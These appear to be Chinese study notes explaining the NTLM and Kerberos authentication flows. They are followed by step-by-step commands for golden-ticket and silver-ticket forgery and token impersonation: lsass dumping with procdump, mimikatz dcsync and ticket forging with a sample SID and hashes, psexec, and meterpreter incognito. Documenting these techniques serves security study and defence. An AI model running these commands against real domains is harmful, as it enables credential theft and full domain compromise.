windowr认证之票据
NTLM认证过程:
1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。
Kerberos 详解认证流程:
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:
The Authentication Service Exchange:Client 与 AS 的交互,
The Ticket-Granting Service (TGS) Exchange:Client 与 TGS 的交互,
The Client/Server Authentication Exchange:Client 与 Server 的交互。
1.客户端与AS交互过程
(1):客户端将用户名发送给AS服务器申请服务,在AS服务器中会对用户名进行验证,在AS服务器本地数据库中查询到该用户名的密码,并使用hash生成user-secrect-key
(2)AS服务器向用户发送两样东西:
1) Client/TGS会话密钥,使用user-secrect-key进行加密
2) TGT,包含TGS会话密钥,用户信息,时间戳,TGT有效期。使用TGS密钥进行加密(黄金票据)
(3)用户接收到消息之后,回使用本地的user-secret-key对消息一进行解密,如果解密成功,说明用户提供的凭证是正确的,此时用户得到了加密后的TGT。
2.从TGS服务器中获取访问权限
2,客户端与TGS交互过程
(1)客户端向TGS服务器发送信息:
1) 第一步骤中的TGT
2) 认证信息(认证符(Authenticator)),包含用户id以及时间戳,通过TGS会话密钥进行加密。
(2)TGS服务器收到消息之后,会使用TGS密钥对TGT)进行解密,获取到TGS会话密钥,进而对消息2)进行解密,在对用户id以及时间戳进行认证,如果认证成功,向客户端发送消息:
1) ss会话密钥使用TGS会话密钥进行加密
2) client-server-ticket(包含SS会话密钥,用户名信息以及时间戳),使用ss密钥进行加密
(3)客户端收到信息之后会对消息1)进行解密,获得ss会话密钥
3.客户端与服务器交互
- 客户端向ss服务器发送以下消息:
(1)第二步骤中的client-server-ticket(ticket)
(2)新的Authenticator,包含用户信息,时间戳。通过SS会话密钥进行加密 - SS服务器收到消息之后,会使用ss密钥对消息1进行解密,解密之后使用ss会话密钥对消息2解密,解密成功之后会得到authenticator,认证之后,发送:
(1)新时间戳,Client发送的时间戳加1,通过ss会话密钥进行加密 - 客户端收到时间戳之后,解密确认,成功之后发送服务请求
- ss服务器收到之后提供服务。
window认证票据的盗用和令牌伪造
黄金票据
原理:伪造票据授予票据(TGT),也被称为认证票据
补充:(krbtgt账户:每个域控制器都有一个“krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务(TGS)加密的密钥。)
利用条件:
1,域控中krbtgt账户NTLM密码哈希
2,域中的sid值
3,一台域中主机
步骤:
(1)安装procdump工具,抓密码:procdump.exe -accepteula -ma lsass.exe lsass.dmp
(2)导出并解码票据:mimikatz.exe privilege::debug “lsadump::dcsync /domain:qq.com /user:krbtgt” exit >> log.txt
(3)伪造票据:mimikatz.exe “kerberos::golden /user:adminis
trator /domain:qq.com /sid:S-1-5-21-3249629579-128558752-2894567106 /krbtgt:4b4ef3b7f4ac28aa6578970bace3c738 /ptt” exit
(4)安装psexec工具:psexec.exe \\qq.com cmd
白银票据
原理:白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务
利用条件:
(1)域控中服务账户NTLM密码哈希
(2)域中的sid值
(3)一台域中主机
步骤:
(1)导出哈希;Mimikatz.exe"sekurlsa::minidump lsass.dmp" “sekurlsa::logonpasswords” > c:/aa.txt
(2)伪造票据;mimikatz.exe “kerberos::golden /user:zm /domain:qq.com /sid:S-1-5-21-3249629579-128558752-2894567106/rc4:bc007082d32777855e253fd4defe70ee /service:cifs /ptt” exit
令牌伪造
令牌是windows操作系统用于描述进程或线程安全上下文的一种对象。不同的用户登入计算机后,都会生成一个Access Token,这个Token在用户创建经常或者线程是会被使用,不断拷贝
windows下的两种令牌:
1,Delegation taken(授权令牌):用于交互会话登录(例如本地用户直接登录,远程桌面登录)
2,Impersonatoin token(模拟令牌):用于非交互登录(利用net use 访问共享文件夹)
注:两种令牌都是在重启后才会消除,具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效。
步骤:冒用令牌
(1)先利用pth获取shell
(2) use exploit/windows/smb/psexec
set rhosts 192.168.200.141
set smbpass LM :NTML
set smbuser administrator
run
(3)进入meterperter之后:
load incognito 加载模块
list token 列举token -u 参数 列举用户 -g参数列举用户
impersonate token username 假冒令牌 登入用户
steal_token 获取进程令牌
(3)进入meterperter之后:
load incognito 加载模块
list token 列举token -u 参数 列举用户 -g参数列举用户
impersonate token username 假冒令牌 登入用户
steal_token 获取进程令牌
rev2self 或者drop_token 返回原来用户